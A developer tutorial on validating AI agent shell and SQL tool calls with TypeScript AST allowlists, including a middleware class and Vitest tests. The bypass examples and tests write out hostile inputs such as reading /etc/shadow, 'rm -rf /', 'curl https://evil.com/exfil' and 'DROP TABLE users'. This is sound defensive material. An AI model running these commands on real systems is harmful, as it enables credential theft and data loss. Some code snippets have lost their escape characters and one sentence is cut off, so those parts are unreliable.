Securing AI Agent Tool Execution with TypeScript AST Sandboxes

SitePoint TeamPublished inAI·Programming·Web Security·
September 21, 2026
The AI briefing for Developers
Stay up to date with AI tools, model releases, and developer workflows that matter.
Weekly. Free. One click to leave.
SitePoint Premium
Stay Relevant and Grow Your Career in Tech
- Premium Results
- Publish articles on SitePoint
- Daily curated jobs
- Learning Paths
- Discounts to dev tools
7 Day Free Trial. Cancel Anytime.
Modern AI agents built on OpenAI function calling, LangChain tools, or the Vercel AI SDK routinely generate shell commands and SQL queries that get executed on live infrastructure. Securing AI agent tool execution with TypeScript AST sandboxes addresses a fundamental weakness in this architecture: the assumption that LLM output is well-formed and safe. When an agent’s tool-calling layer passes a generated string directly to child_process.exec or a database driver, a single prompt-injection bypass can escalate to full system access. Regex-based deny-lists, the most common defense, cannot reason about the tree structure of a command. What follows is an implementation-focused walkthrough of an in-process AST-based middleware that treats every agent-generated payload as untrusted source code, parses it into a syntax tree, and validates it against structural allowlists before any execution occurs.
Table of Contents
Why Regex Fails: The Shell Injection Surface of AI Agent Tooling
The Agent Tool-Calling Pattern and Its Trust Boundary
In the standard tool-calling pattern, an LLM receives a prompt, determines that a tool invocation is needed, and emits a structured response containing a function name and arguments. The agent runtime deserializes those arguments and uses them to construct a shell command, SQL query, or API call. OpenAI’s function calling returns a JSON object in the tool_calls array. LangChain’s DynamicStructuredTool receives parsed arguments in its func callback. The Vercel AI SDK’s tool() definition hands arguments to an execute callback. In every case, there is an implicit trust boundary: the runtime trusts the LLM’s output to conform to the expected schema and not contain injection payloads. That assumption is the vulnerability.
Regex Sanitization Cannot Reason About Command Structure
A regex deny-list tries to catch dangerous characters and patterns before execution. But shell syntax supports at least five bypass classes that defeat character-level filtering:
- Unicode homoglyphs visually resemble ASCII characters but pass through filters unchanged.
- Newline injection via breaks out of a single-command context.
- Forbidden characters survive encoding through ANSI-C quoting such as
$'x2f'. ${IFS}introduces whitespace or path separators through variable expansion, no literal characters required.$(...)and backtick syntax spawn subshells, executing arbitrary commands inside an otherwise benign-looking string.
The OWASP Top 10 for LLM Applications (LLM02: Insecure Output Handling) identifies insecure output handling as a distinct risk category, and prompt-injection research such as the Embrace The Red project by Johann Rehberger has demonstrated that LLMs can be coerced into generating payloads that exploit exactly these gaps. The deny-list approach fails because it operates on the string representation rather than the structural semantics of the command.
functionnaiveShellSanitize(cmd:string):boolean{const denyPatterns =[/[;&|`]/,/$(/,/..//,/rms+(-rf?|--)/,];return!denyPatterns.some((p)=> p.test(cmd));}const bypasses =[`cat /etc/passwd`,`cat$'x20'/etc$'x2f'shadow`,`cat${IFS}/etc${IFS}shadow`,`echo innocuousrm -rf /`,is a newline character inJS)];bypasses.forEach((b)=>{console.log(`"${b}" passes:${naiveShellSanitize(b)}`);});Every one of those bypass strings evades the filter while remaining valid, executable shell input. The problem is not an incomplete list of patterns. The problem is that string matching cannot reason about the structure of a command.
The deny-list approach fails because it operates on the string representation rather than the structural semantics of the command.
Architecture of an AST-Based Execution Sandbox
Design Principles
Parse rather than match: every agent payload is fed to a real parser that produces a full syntax tree, and if the parser rejects the input, the payload is rejected. The validator then walks the tree and checks that every node belongs to a set of explicitly permitted structural types, allowlisting node types rather than deny-listing strings. Anything not on the list causes rejection. If the parser throws, if a node type is unknown, or if any ambiguity exists, the payload does not execute. The system fails closed at every decision point.
Component Overview
The middleware orchestrator, a generic TypeScript class called ExecutionGuard, sits between the agent’s tool-call output and the actual execution call (child_process.exec, a database driver, or any other side-effecting function). It dispatches to one of two validators depending on payload type. The Bash validator uses tree-sitter-bash to parse shell payloads into concrete syntax trees (CSTs), then walks each node against an allowlist of safe structural types. The SQL expression validator uses @babel/parser to parse payloads that arrive as JavaScript template literals containing embedded expressions; it walks the Babel AST and rejects any node type outside a strict set of literals and known identifiers. Note that this approach applies to JS-embedded SQL expressions, not raw SQL strings. Raw SQL is not valid JavaScript and requires a SQL-specific parser such as node-sql-parser.
Setting Up tree-sitter-bash in Node.js 22
The tree-sitter package provides a C-level parser runtime with Node.js bindings, and tree-sitter-bash supplies the Bash grammar.
The tree-sitter package compiles native code install python3, make, and g++ (or clang). Windows requires Visual Studio Build Tools with the “Desktop development with C++” workload. On Alpine Linux, run apk add python3 make g++ before installing. For CI, use a base image that includes these tools (e.g., node:22-bookworm rather than node:22-alpine)
Install with pinned versions to ensure reproducibility. These examples were validated against the versions shown; check changelogs before upgrading:
npminstall tree-sitter@0.21 tree-sitter-bash@0.21 @babel/parser@7.24 @babel/traverse@7.24 @babel/types@7.24 minimatch@5Note on minimatch: Version 9 is ESM-only. The tsconfig.json shown in this article uses "module": "CommonJS", so minimatch@5 (which supports CommonJS require()) is pinned here. If your project uses ESM ("type": "module" in package.json), you can use minimatch@9 instead.
Initialization requires loading the language into a Parser instance before parsing any input.
import Parser from"tree-sitter";import Bash from"tree-sitter-bash";const parser =newParser();parser.setLanguage(Bash);const sampleCommand =`ls -la /home/user/documents`;const tree = parser.parse(sampleCommand);console.log(tree.rootNode.toString());The output is the concrete syntax tree (CST) of the Bash command. Every token, including the command name, flags, and path arguments, appears as a typed node with a type property that the validator can inspect.
Walking the CST to Detect Injection Primitives
The Bash CST contains node types that directly correspond to injection primitives. command_substitution represents $(...) or backtick syntax, while subshell represents (...) grouping and pipeline represents piped chains. process_substitution covers <(...) and >(...). heredoc_redirect handles here-documents. For variable access, expansion covers parameter expansion like ${VAR}, and simple_expansion covers $VAR syntax (without braces), which is equally dangerous as it enables environment variable exfiltration. A safe single-command invocation contains none of these. The validator walks every node recursively, and if any node’s type falls outside the allowlist, it records a violation.
import Parser from"tree-sitter";import Bash from"tree-sitter-bash";importtype{ SyntaxNode, Tree }from"tree-sitter";const bashParser =newParser();bashParser.setLanguage(Bash);interfaceViolation{nodeType:string;text:string;startPosition:{ row:number; column:number};}interfaceValidationResult{valid:boolean;violations: Violation[];}constALLOWED_BASH_NODE_TYPES=newSet(["program","command","command_name","word","raw_string","concatenation",]);functionwalkNode(node: SyntaxNode, violations: Violation[]):void{if(!ALLOWED_BASH_NODE_TYPES.has(node.type)){violations.push({nodeType: node.type,text: node.text,startPosition: node.startPosition,});return;}for(let i =0; i < node.childCount; i++){const child = node.child(i);if(child !==null){walkNode(child, violations);}}}functionvalidateBashStructure(content:string): ValidationResult {const tree = bashParser.parse(content);const violations: Violation[]=[];walkNode(tree.rootNode, violations);return{ valid: violations.length ===0, violations };}A payload like ls -la /tmp passes cleanly. A payload like ls $(cat /etc/shadow) triggers a violation on the command_substitution node, and the validator rejects it before any execution. A payload like cat $DB_PASSWORD triggers a violation on the simple_expansion node, preventing environment variable exfiltration.
Important: This structural validator does not yet enforce command-name or path allowlists. It validates only the CST node types. Example #4 adds command and path checking layers, and Example #7 is the only complete, production-ready implementation. Do not use Example #3 alone as a security boundary — it will allow any command name (including curl, rm, wget) as long as the structural shape is a simple command.
Enforcing Filesystem and Command Allowlists
Structural validation alone leaves command-name and path attacks unchecked. A command can be structurally simple (a single command node with word arguments) but still invoke a dangerous binary or reference a forbidden path. The validator needs a second layer that checks command names against an allowlist and validates path arguments against glob patterns.
import{ minimatch }from"minimatch";importtype{ SyntaxNode }from"tree-sitter";interfaceViolation{nodeType:string;text:string;startPosition:{ row:number; column:number};}constALLOWED_COMMANDS=newSet(["ls","cat","grep","head","tail","wc"]);constALLOWED_PATH_GLOBS=["/home/agent/workspace/**","/tmp/agent-*/**",];functionvalidateCommandName(node: SyntaxNode): Violation |null{if(node.type ==="command_name"){const cmdText = node.text;if(!ALLOWED_COMMANDS.has(cmdText)){return{ nodeType:"disallowed_command", text: cmdText, startPosition: node.startPosition };}}returnnull;}functionvalidatePathArgument(node: SyntaxNode): Violation |null{if(node.type ==="word"){const text = node.text;const isAbsolute = text.startsWith("/");const isRelative = text.includes("..")||(!text.startsWith("-")&& text.includes("/"));if(isAbsolute || isRelative){const normalized = isAbsolute ? text :`/${text}`;const matchesAllowed =ALLOWED_PATH_GLOBS.some((glob)=>minimatch(normalized, glob));if(!matchesAllowed){return{ nodeType:"disallowed_path", text, startPosition: node.startPosition };}}}returnnull;}These helpers slot into the recursive walk. If the command name is curl or the path is /etc/shadow, the validator rejects the payload regardless of its structural simplicity. Relative paths such as ../../etc/shadow are also caught because the path check normalizes relative paths before matching against the allowlist.
Security note on cat: Even allowlisted commands like cat can exfiltrate data if combined with symlink attacks or path-allowlist gaps. Run the agent process under a dedicated low-privilege user with filesystem restrictions (e.g., chroot, Linux namespaces, or container sandboxing) as a defense-in-depth measure. For full path normalization, use path.resolve() with a chroot base directory and validate the result stays within the allowed base.
Parsing SQL and JS Expressions with Babel
Why Babel for Non-JavaScript Payloads?
Agent-generated SQL frequently arrives embedded in JavaScript template literals. A tool might receive a payload like `SELECT * FROM users WHERE id = ${userId}` where userId is supposed to be a numeric literal but an attacker replaces it with an injected expression such as ${process.env.DB_PASSWORD} or ${require('child_process').execSync('whoami')}. The @babel/parser can parse the outer JavaScript expression context. By walking the resulting AST, the validator catches unexpected CallExpression, MemberExpression, or nested TemplateLiteral nodes that signal injection.
This approach works specifically for SQL embedded in JavaScript template literals or expression contexts. Raw SQL strings (e.g., SELECT * FROM users WHERE id = 1 OR 1=1) are not valid JavaScript and will cause parseExpression to throw a parse error, which the fail-closed design treats as a rejection. However, if you need to validate raw SQL semantics, use a dedicated SQL parser such as node-sql-parser.
Parse rather than match: every agent payload is fed to a real parser that produces a full syntax tree, and if the parser rejects the input, the payload is rejected.
Building the SQL Expression Validator
The validator uses @babel/parser‘s parseExpression to parse the payload string as a standalone JavaScript expression, then walks the AST. The allowlist includes only StringLiteral, NumericLiteral, BooleanLiteral, TemplateLiteral (with an empty expressions array), and Identifier nodes matching a set of known column or table names.
import{ parseExpression }from"@babel/parser";import _traverse from"@babel/traverse";const traverse =(_traverse asany).default ?? _traverse;interfaceValidationResult{valid:boolean;violations: Violation[];}interfaceViolation{nodeType:string;text:string;startPosition:{ row:number; column:number};}constALLOWED_EXPR_NODE_TYPES=newSet(["StringLiteral","NumericLiteral","BooleanLiteral","TemplateLiteral","TemplateElement","Identifier",]);constKNOWN_IDENTIFIERS=newSet(["userId","userName","orderId","status"]);functionvalidateSQLExpression(payload:string): ValidationResult {const violations: Violation[]=[];const trimmed = payload.trim();let ast;try{ast =parseExpression(trimmed);}catch{return{ valid:false, violations:[{ nodeType:"ParseError", text:"[unparseable input]", startPosition:{ row:0, column:0}}]};}if(ast.end !==undefined&& ast.end !== trimmed.length){violations.push({nodeType:"TrailingContent",text:"[trailing content detected]",startPosition:{ row:0, column: ast.end },});return{ valid:false, violations };}if(ast.type ==="TemplateLiteral"&& ast.expressions.length >0){violations.push({nodeType:"TemplateLiteral_with_expressions",text:"[template with expressions]",startPosition:{ row: ast.loc?.start.line ??0, column: ast.loc?.start.column ??0},});return{ valid:false, violations };}const wrapperExpressionStatement ={type:"ExpressionStatement",expression: ast,start: ast.start,end: ast.end,loc: ast.loc,};const fileNode ={type:"File",program:{type:"Program",body:[wrapperExpressionStatement],directives:[],start: ast.start,end: ast.end,loc: ast.loc,sourceType:"script"asconst,},start: ast.start,end: ast.end,loc: ast.loc,errors:[],};traverse(fileNode asany,{enter(path:any){const node = path.node;if(node === wrapperExpressionStatement)return;if(node.type ==="Program"|| node.type ==="File")return;if(!ALLOWED_EXPR_NODE_TYPES.has(node.type)){violations.push({nodeType: node.type,text: trimmed.slice(node.start ??0, node.end ?? trimmed.length),startPosition:{ row: node.loc?.start.line ??0, column: node.loc?.start.column ??0},});}if(node.type ==="Identifier"&&!KNOWN_IDENTIFIERS.has(node.name)){violations.push({nodeType:"UnknownIdentifier",text: node.name,startPosition:{ row: node.loc?.start.line ??0, column: node.loc?.start.column ??0},});}},});return{ valid: violations.length ===0, violations };}A CallExpression such as require(‘child_process’) triggers rejection because CallExpression is not in the allowlist. Multi-statement injectionrifies that the parsed expression covers the full input length
Handling Edge Cases: Multi-Statement Injection and Comment Stripping
Detecting semicolons and UNION through AST structure is more reliable than regex. parseExpression parses only the first expression and may silently ignore trailing content in some @babel/parser versions. To enforce single-expression-only parsing, check that the parsed AST’s end position equals the trimmed input string length, and reject if not. This ensures no trailing statements are silently dropped. SQL comments (--, /* */) embedded in JS expressions show up as syntax errors or unexpected tokens in the Babel AST rather than being silently consumed. String-level comment stripping, by contrast, risks mangling legitimate content or missing nested comment syntax.
Wiring the Middleware into an Agent Tool Loop
The ExecutionGuard Middleware Type
The middleware is a generic class parameterized over the payload type. It accepts a validator function and an executor function, validates before execution, and returns a typed result.
exportinterfaceToolPayload{type:"bash"|"sql";content:string;}exportinterfaceValidationResult{valid:boolean;violations: Violation[];}exportinterfaceViolation{nodeType:string;text:string;startPosition:{ row:number; column:number};}exportinterfaceExecutionResult<T=unknown>{success:boolean;data?:T;error?:string;violations?: Violation[];}exportclassExecutionGuard<Textends ToolPayload>{privatevalidator:(payload:T)=>Promise<ValidationResult>;privateexecutor:(payload:T)=>Promise<unknown>;constructor(validator:(payload:T)=>Promise<ValidationResult>,executor:(payload:T)=>Promise<unknown>){this.validator = validator;this.executor = executor;}asyncrun(payload:T):Promise<ExecutionResult>{let validation: ValidationResult;try{validation =awaitPromise.resolve(this.validator(payload));}catch(err){return{success:false,error:`Validator error:${err instanceofError? err.message :"unknown"}`,};}if(!validation.valid){const sanitizedViolations = validation.violations.map((v)=>({...v,text: v.text.slice(0,100).replace(/[x00-x1Fx7F]/g,"?"),}));return{success:false,error:`Payload rejected:${validation.violations.length}violation(s) — first:${sanitizedViolations[0]?.nodeType ??"unknown"}`,violations: sanitizedViolations,};}try{const data =awaitthis.executor(payload);return{ success:true, data };}catch(err){return{success:false,error: err instanceofError? err.message :String(err),};}}}The run method is the single entry point. It validates first. If validation fails, it returns a structured error containing the sanitized violations array and never calls the executor. Only a fully valid payload reaches the executor function. The validator call is wrapped in Promise.resolve() so that both synchronous and asynchronous validators are handled correctly, and synchronous throws are caught rather than propagating as unhandled exceptions.
Production note: The guard truncates and strips control characters from the violation text field before including it in the result, preventing attacker-controlled payload content from reflecting back to callers. Adjust the truncation limit as needed for your logging infrastructure.
Integration Points: LangChain, Vercel AI SDK, Raw Function Calling
In LangChain, the ExecutionGuard.run() call goes inside a custom DynamicStructuredTool‘s func callback. The tool receives the parsed arguments from the LLM, constructs a ToolPayload, and passes it to the guard. In the Vercel AI SDK, the same call goes inside the execute callback of a tool() definition. For raw OpenAI function calling, the guard sits between JSON-parsing the tool_calls array from the chat completion response and invoking the actual function. In all three cases, the guard inserts into each framework’s callback, but you will need a thin adapter to reconcile ExecutionResult with the framework’s expected return type (e.g., (result: ExecutionResult) => result.success ? result.data : Promise.reject(result.error) for Vercel AI SDK’s execute return value).
The Complete Validator Module: Consolidated Reference
The following module is the only complete, production-ready implementation. Earlier code examples (#3, #4, #5) illustrate individual concepts but are not standalone — they omit imports, parser initialization, or entire validation layers. Use this module as your starting point.
Recommended project structure:
project/├── package.json├── tsconfig.json├── src/│ └── execution-guard.ts ← Example└── tests/├── bash.test.ts ← Example└── sql.test.ts ← Example{"compilerOptions":{"target":"ES2022","module":"CommonJS","moduleResolution":"node","esModuleInterop":true,"strict":true,"outDir":"dist"},"include":["src","tests"]}Note: If using ESM ("type": "module" in package.json), change "module" to "ES2022" and adjust the @babel/traverse import accordingly — the (_traverse as any).default workaround may not be needed.
import Parser from"tree-sitter";import Bash from"tree-sitter-bash";import{ parseExpression }from"@babel/parser";import _traverse from"@babel/traverse";import{ minimatch }from"minimatch";importtype{ SyntaxNode }from"tree-sitter";const traverse =(_traverse asany).default ?? _traverse;constMAX_PAYLOAD_BYTES=4096;exportinterfaceViolation{nodeType:string;text:string;startPosition:{ row:number; column:number};}exportinterfaceValidationResult{ valid:boolean; violations: Violation[]}exportinterfaceToolPayload{ type:"bash"|"sql"; content:string}exportinterfaceExecutionResult<T=unknown>{success:boolean; data?:T; error?:string; violations?: Violation[];}const bashParser =newParser();bashParser.setLanguage(Bash);constALLOWED_BASH_NODE_TYPES=newSet(["program","command","command_name","word","raw_string","concatenation",]);constALLOWED_COMMANDS=newSet(["ls","cat","grep","head","tail","wc"]);constALLOWED_PATH_GLOBS=["/home/agent/workspace/**","/tmp/agent-*/**"];functionwalkBashNode(node: SyntaxNode, violations: Violation[]):void{if(!ALLOWED_BASH_NODE_TYPES.has(node.type)){violations.push({ nodeType: node.type, text: node.text, startPosition: node.startPosition });return;}if(node.type ==="command_name"&&!ALLOWED_COMMANDS.has(node.text)){violations.push({ nodeType:"disallowed_command", text: node.text, startPosition: node.startPosition });}if(node.type ==="word"){const text:string= node.text;const isAbsolute = text.startsWith("/");const isRelative = text.includes("..")||(!text.startsWith("-")&& text.includes("/"));if(isAbsolute || isRelative){const normalized = isAbsolute ? text :`/${text}`;if(!ALLOWED_PATH_GLOBS.some((g)=>minimatch(normalized, g))){violations.push({ nodeType:"disallowed_path", text, startPosition: node.startPosition });}}}for(let i =0; i < node.childCount; i++){const child = node.child(i);if(child !==null){walkBashNode(child, violations);}}}exportfunctionvalidateBash(content:string): ValidationResult {if(content.length >MAX_PAYLOAD_BYTES){return{valid:false,violations:[{nodeType:"PayloadTooLarge",text:"[truncated]",startPosition:{ row:0, column:0},}],};}const tree = bashParser.parse(content);const violations: Violation[]=[];walkBashNode(tree.rootNode, violations);return{ valid: violations.length ===0, violations };}constALLOWED_EXPR_TYPES=newSet(["StringLiteral","NumericLiteral","BooleanLiteral","TemplateLiteral","TemplateElement","Identifier",]);constKNOWN_IDENTIFIERS=newSet(["userId","userName","orderId","status"]);exportfunctionvalidateSQLExpression(content:string): ValidationResult {if(content.length >MAX_PAYLOAD_BYTES){return{valid:false,violations:[{nodeType:"PayloadTooLarge",text:"[truncated]",startPosition:{ row:0, column:0},}],};}const violations: Violation[]=[];const trimmed = content.trim();let ast;try{ ast =parseExpression(trimmed);}catch{return{ valid:false, violations:[{ nodeType:"ParseError", text:"[unparseable input]", startPosition:{ row:0, column:0}}]};}if(ast.end !==undefined&& ast.end !== trimmed.length){violations.push({ nodeType:"TrailingContent", text:"[trailing content detected]", startPosition:{ row:0, column: ast.end }});return{ valid:false, violations };}if(ast.type ==="TemplateLiteral"&& ast.expressions.length >0){violations.push({ nodeType:"TemplateLiteral_with_expressions", text:"[template with expressions]", startPosition:{ row:0, column:0}});return{ valid:false, violations };}const wrapperExpressionStatement ={type:"ExpressionStatement",expression: ast,start: ast.start,end: ast.end,loc: ast.loc,};const fileNode ={type:"File",program:{type:"Program",body:[wrapperExpressionStatement],directives:[],start: ast.start,end: ast.end,loc: ast.loc,sourceType:"script"asconst,},start: ast.start,end: ast.end,loc: ast.loc,errors:[],};traverse(fileNode asany,{enter(path:any){const n = path.node;if(n === wrapperExpressionStatement)return;if(n.type ==="Program"|| n.type ==="File")return;if(!ALLOWED_EXPR_TYPES.has(n.type))violations.push({ nodeType: n.type, text: trimmed.slice(n.start ??0, n.end ?? Math.min(n.start ??0, trimmed.length)), startPosition:{ row: n.loc?.start.line ??0, column: n.loc?.start.column ??0}});if(n.type ==="Identifier"&&!KNOWN_IDENTIFIERS.has(n.name))violations.push({ nodeType:"UnknownIdentifier", text: n.name, startPosition:{ row: n.loc?.start.line ??0, column: n.loc?.start.column ??0}});},});return{ valid: violations.length ===0, violations };}exportclassExecutionGuard<Textends ToolPayload>{constructor(privatevalidator:(payload:T)=>Promise<ValidationResult>| ValidationResult,privateexecutor:(payload:T)=>Promise<unknown>){}asyncrun(payload:T):Promise<ExecutionResult>{let v: ValidationResult;try{v =awaitPromise.resolve(this.validator(payload));}catch(err){return{success:false,error:`Validator error:${err instanceofError? err.message :"unknown"}`,};}if(!v.valid){const sanitizedViolations = v.violations.map((violation)=>({...violation,text: violation.text.slice(0,100).replace(/[x00-x1Fx7F]/g,"?"),}));return{success:false,error:`Rejected:${v.violations.length}violation(s) — first:${sanitizedViolations[0]?.nodeType ??"unknown"}`,violations: sanitizedViolations,};}try{const data =awaitthis.executor(payload);return{ success:true, data };}catch(err){return{ success:false, error: err instanceofError? err.message :String(err)};}}}This module exports validateBash, validateSQLExpression, the ExecutionGuard class, and all supporting types. It can be dropped into any agent framework as pre-execution middleware.
Testing the Sandbox with Vitest
Unit Tests for Bash Injection Payloads
These tests target the complete module from Example #7 (src/execution-guard.ts), not the standalone examples from earlier sections.
import{ describe, it, expect }from"vitest";import{ validateBash }from"../src/execution-guard";describe("validateBash",()=>{it("allows a simple permitted command",()=>{const result =validateBash("ls -la /home/agent/workspace/docs");expect(result.valid).toBe(true);expect(result.violations).toHaveLength(0);});it("rejects a pipeline",()=>{const result =validateBash("ls | grep secret");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="pipeline")).toBe(true);});it("rejects command substitution via $()",()=>{const result =validateBash("cat $(whoami)");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="command_substitution")).toBe(true);});it("rejects backtick command substitution",()=>{const result =validateBash("cat `whoami`");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="command_substitution")).toBe(true);});it("rejects a disallowed command name",()=>{const result =validateBash("curl https://evil.com/exfil");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="disallowed_command")).toBe(true);});it("rejects a path outside the allowlist",()=>{const result =validateBash("cat /etc/shadow");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="disallowed_path")).toBe(true);});it("rejects environment variable expansion",()=>{const result =validateBash("cat $DB_PASSWORD");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="simple_expansion")).toBe(true);});it("rejects relative path traversal (../../etc/shadow)",()=>{const result =validateBash("cat ../../etc/shadow");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="disallowed_path")).toBe(true);});it("rejects payload exceeding max length",()=>{const result =validateBash("ls ".repeat(2000));expect(result.valid).toBe(false);expect(result.violations[0].nodeType).toBe("PayloadTooLarge");});});Unit Tests for SQL Expression Injection
import{ describe, it, expect }from"vitest";import{ validateSQLExpression }from"../src/execution-guard";describe("validateSQLExpression",()=>{it("allows a clean string literal",()=>{const result =validateSQLExpression(`"active"`);expect(result.valid).toBe(true);});it("allows a numeric literal",()=>{const result =validateSQLExpression("42");expect(result.valid).toBe(true);});it("rejects a CallExpression (require)",()=>{const result =validateSQLExpression(`require("child_process")`);expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="CallExpression")).toBe(true);});it("rejects a multi-statement payload",()=>{const result =validateSQLExpression(`"1"; DROP TABLE users; --"`);expect(result.valid).toBe(false);});it("rejects payload with leading whitespace and trailing statement",()=>{const result =validateSQLExpression(' "1"; DROP TABLE users');expect(result.valid).toBe(false);});it("rejects oversized payload without crashing",()=>{const result =validateSQLExpression('"x"'.repeat(5000));expect(result.valid).toBe(false);expect(result.violations[0].nodeType).toBe("PayloadTooLarge");});it("rejects process.env member expression",()=>{const result =validateSQLExpression("process.env.DB_PASSWORD");expect(result.valid).toBe(false);expect(result.violations.some((v)=> v.nodeType ==="MemberExpression")).toBe(true);});});Running and CI Integration
The test suite runs with npx vitest run. For CI integration in a GitHub Actions workflow, adding npx vitest run --reporter=verbose as a step in the test job ensures that any payload that would bypass the sandbox is caught before deployment. A failed test will exit with code 1 and print the failing assertion. Any test failure in this suite should be treated as a security regression and must block the merge.
Limitations and Next Steps
What This Doesn’t Cover
AST-based validation operates at the syntactic level. It does not provide network-level sandboxing (gVisor, Firecracker microVMs), runtime syscall filtering (seccomp-bpf), or semantic validation. A command like rm -rf /home/agent/workspace/* illustrates two limitations: the validator sees the literal * string, which minimatch@5 treats as a glob match while minimatch@9 may evaluate differently depending on configuration; and shell wildcard expansion happens at runtime after validation, meaning the validator cannot reason about which files will actually be affected. Never add rm to the permitted commands list regardless of path allowlist configuration. Pair AST validation with seccomp-bpf to block syscalls the validator cannot see: syntactic checking is one layer, not the entire security posture.
Never add
rmto the permitted commands list regardless of path allowlist configuration. Pair AST validation with seccomp-bpf to block syscalls the validator cannot see: syntactic checking is one layer, not the entire security posture.
Extending the Approach
A policy DSL for per-tool allowlists would let teams define different permitted commands and paths for different tools without modifying the validator code. Logging and audit trails for rejected payloads provide visibility into what the agent is attempting and whether prompt-injection attacks are being actively tried. Combining AST validation with an LLM-based secondary review, where a separate judge model evaluates whether a structurally valid command is semantically appropriate, adds a semantic layer that pure parsing cannot provide. Each extension carries its own cost: a judge-model call, for example, adds latency that varies by model and provider (benchmark this for your deployment), and the policy DSL adds a configuration surface that itself needs validation. The AST validator provides the structural foundation that makes those layers meaningful rather than redundant.
Sharing our passion for building incredible internet things.


